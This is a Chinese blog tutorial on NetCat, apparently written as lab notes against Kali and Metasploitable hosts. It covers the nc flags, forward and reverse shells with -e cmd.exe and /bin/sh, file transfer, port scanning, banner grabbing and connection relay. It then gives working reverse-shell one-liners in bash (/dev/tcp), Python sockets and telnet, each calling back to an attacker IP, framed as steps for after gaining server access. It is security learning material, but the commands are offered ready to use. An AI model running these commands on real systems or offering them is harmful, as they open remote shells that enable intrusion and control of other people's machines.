NetCat使用教程

NetCat使用教程

帮助信息

nc -h 查看帮助信息
-d: 脱离命令窗口,在后台运行,常用于后门建立过程

-e: 执行某个程序 ,常用于后门建立过程

-g<网关>: 设置路由器跃程通信网关,最多可设置8个。

-G<指向器数目>: 设置源路由指向器的数量,值为4的倍数。

-i<延迟秒数>: 设置时间间隔,以便传送信息及扫描通信端口

-l: 使用监听模式,管理和控制传入的数据

-n: 直接使用IP地址(不通过DNS解析)

-o<输出文件>: 指定文件名称,把往来传输的数据转换为16进制字符后保存在该文件中

-p<通信端口>: 设置本地监听端口号

-r: 随机指定本机与远程主机的通信端口

-s<源地址>: 设置本机送出数据包的IP地址

-t:回复telnet的请求数据包

-u: 使用UDP传输协议

-v: 详细输出

-w<超时秒数>:设置等待连线的时间

-z: 设置扫描模式,表示发送的数据包不包含任何payload

基础使用

  • 创建服务器端:nc -l -p [本地端口]
  • 创建客户端(连接服务端):nc [服务端ip] [服务端口号]

image-20250120155207653

image-20250120155137888

shell获取

(1)正向连接:客户端连接服务器,客户端获取服务器的shell。(目标机监听,攻击机连接)

  • 目标机命令创建服务器端:nc -l -p [本地端口] -e cmd.exe (在win中使用)

  • 目标机命令创建服务器端:nc -l -p [本地端口] -e /bin/sh (在linux中使用)

    当客户端连接到服务器端的时候 就会返回执行cmd返回命令的结果返回到连接端

  • 攻击机命令创建客户端(连接服务端) : nc [服务端ip] [服务端口号]

image-20250120160100313

image-20250120160039406

(2)反向连接:客户端连接服务器,服务器获取客户端的shell。通常用在开启防护措施的目标机,如防火墙过滤、端口转发的等。
(攻击机监听,目标机连接)

  • 目标机(linux下):nc ip [目标机本地端口]-e /bin/sh
  • 目标机(windows下):nc ip [目标机本地端口] -e c:\windows\system32\cmd.exe
  • 攻击机:nc -lvp [目标机本地端口]

image-20250120165106700

image-20250120164746389

文件传输使用方法

  • 接收端端:nc -l -p [本地端口] > received.txt (如果没有指定路径,received.txt 会保存在当前工作目录)
  • 发送端 : nc [接受端ip] [接收端本地口号] < infile(文件路径)

image-20250120173058545

image-20250120173114489

image-20250120173139721

攻击机(发送端)去连接目标机(接收端)将 /root/outfile文件通过nc连接目标机的ip端口 将文件重命名并保存在当前工作路径

上面是kail作为发送端 windows是接收端

接下来是kail作为接收端 windows作为发送段

image-20250120174124319

image-20250120174203715

image-20250120174228542

目标机(发送端) nc会通过监听端口将要传输的文件传输到端口上 攻击机(接受端) 去连接目标机ip端口 就会接受文件 <>箭头所指的方向代表所要传输的对象

如果此时服务器端并没有准备好连接状态 而客户端已经使用nc进行连接 那么客户端就会一直等待下去 知道连接上服务端 造成一种假死状态

  • 解决方法 :设置等待时间

nc -w3 ip [端口] : 设置等待时间3秒 超过3秒 客户端直接关闭等待连接

image-20250120180622307

端口扫描

  • nc -v -n -z -w1 ip [端口范围]

-v: 详细输出

-n:直接使用ip地址不对目标机器进行dns解析

-w<超时秒数>:设置等待连线的时间

-z: 将输入/输出功能关闭,只在扫描通信端口时使用

image-20250120181057394

  • 对目标的服务banner进行抓取:
    echo " " | nc -v -n -w1 192.168.162.135 1-1000

Netcat连接转发

这里准备三台机子

内网 :metasploitable linux 地址 : 192.168.162.135image-20250210173908100

外网:kali linux 和我们的主机windows处于同一网段 地址:192.168.1.6

image-20250210174048761

windows 主机 地址 :192.168.1.5

image-20250210174233735

首先 在metasploitable下面先启动一个监听端口等待链接

  • netcat -l -p 4444

image-20250210174518010

在windows下准备一个bat文件 里面写上nc要转发的地址和监听端口

image-20250210174817286

image-20250210185421018

在windows上启动nc创建一个新的监听端口 然后执行我们提前写好的.bat文件

打开kali

image-20250210185553079

用nc连接我们的windows主机 这样我们连接windows上的同时 windows上执行着我们写好的.bat文件 就能让windows转发我们的kali监听metasploitable liunx 实现kali和metasploitable之间的通讯了


Bash反弹Shell

应用场景:某些拿到服务器权限后,想设置一个反弹shell。但是目标服务器上没有安装Netcat时。

目标机:kali 10.8.29.162

攻击机 :windows 10.8.29.39

条件:

当前用户需要有足够的权限执行bash命令

当前的shell环境需要是bash shell 下,不是bash shell的话会导致报错,提示没有该目录或文件夹

例如kali默认的就是zsh shell,所以如果想把kali的shell用bash反弹出去的话需要先用bash命令进入bash shell
才能使用bash反弹shell,如下

image-20250211162313134

image-20250211162758005

命令介绍

  • bash -i >& /dev/tcp/10.8.29.39/4445 0>&1

在命令中bash -i 表示已交互模式运行bash shel1。重定向符 >&,如果在其后加文件描述符,是将bash-i交互模,传递给文件描述符,而如果其后是文件,则v/tcp/ip/port表示传递给远程主机的IP地将bash-i 交互模式传递给文件。/de址对应的端口。
文件描述符: 标准输入、1标准输出2、错误输入输出命令中的 0>&1 表示将标准输入重定向到标准输出,实现远程的输入可以在远程输出对应内容。


Python反弹Shell

应用场景

某些拿到了服务器的权限之后 想要反弹shell 但是目标服务器上没有安装 但是安装了 python

目标机 kali :metasploitable 192.168.162.128

攻击机 windows 10.8.29.39

  • 命令:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.soCK_STREAM);s.connect(("10.8.29.39",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image-20250211165519141

image-20250211165549422


telnet反弹Shell

应用场景

Telnet 是一种用于远程登录到计算机系统的网络协议和命令行工具。使用 Telnet,您可以在本地计算机上打开终端窗口,然后通过 Internet
或局域网连接到其他计算机

Telnet 命令可用于连接到远程计算机并执行各种操作,例如运行命令、编辑文件或查看系统信息。您可以使用 Telnet 客户端应用程序来发起
Telnet 会话,并在会话期间发送命令和接收输出。简单来说就是ssh的前身

条件:目标主机上存在telnet服务

1.在攻击端上打开两个终端分别执行监听

image-20250211172046880

同样我们执行命令前要执行bash命令进入bash shell kali默认是在zsh shell下

执行命令

  • telnet 10.8.29.39 4444 | /bin/bash | telnet 10.8.29.39 4445

image-20250211172337481


__EOF__

  • 本文作者: 鼠鼠实习两年半
  • 本文链接: https://www.cnblogs.com/lyb666/p/18710205
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • posted @   日落西山~dam!man!  阅读(3)  评论(0编辑  收藏  举报
    相关博文:
    阅读排行:
    · DeepSeek-R1本地部署如何选择适合你的版本?看这里
    · 开源的 DeepSeek-R1「GitHub 热点速览」
    · 传国玉玺易主,ai.com竟然跳转到国产AI
    · 揭秘 Sdcb Chats 如何解析 DeepSeek-R1 思维链
    · 自己如何在本地电脑从零搭建DeepSeek!手把手教学,快来看看! (建议收藏)
    点击右上角即可分享
    微信分享提示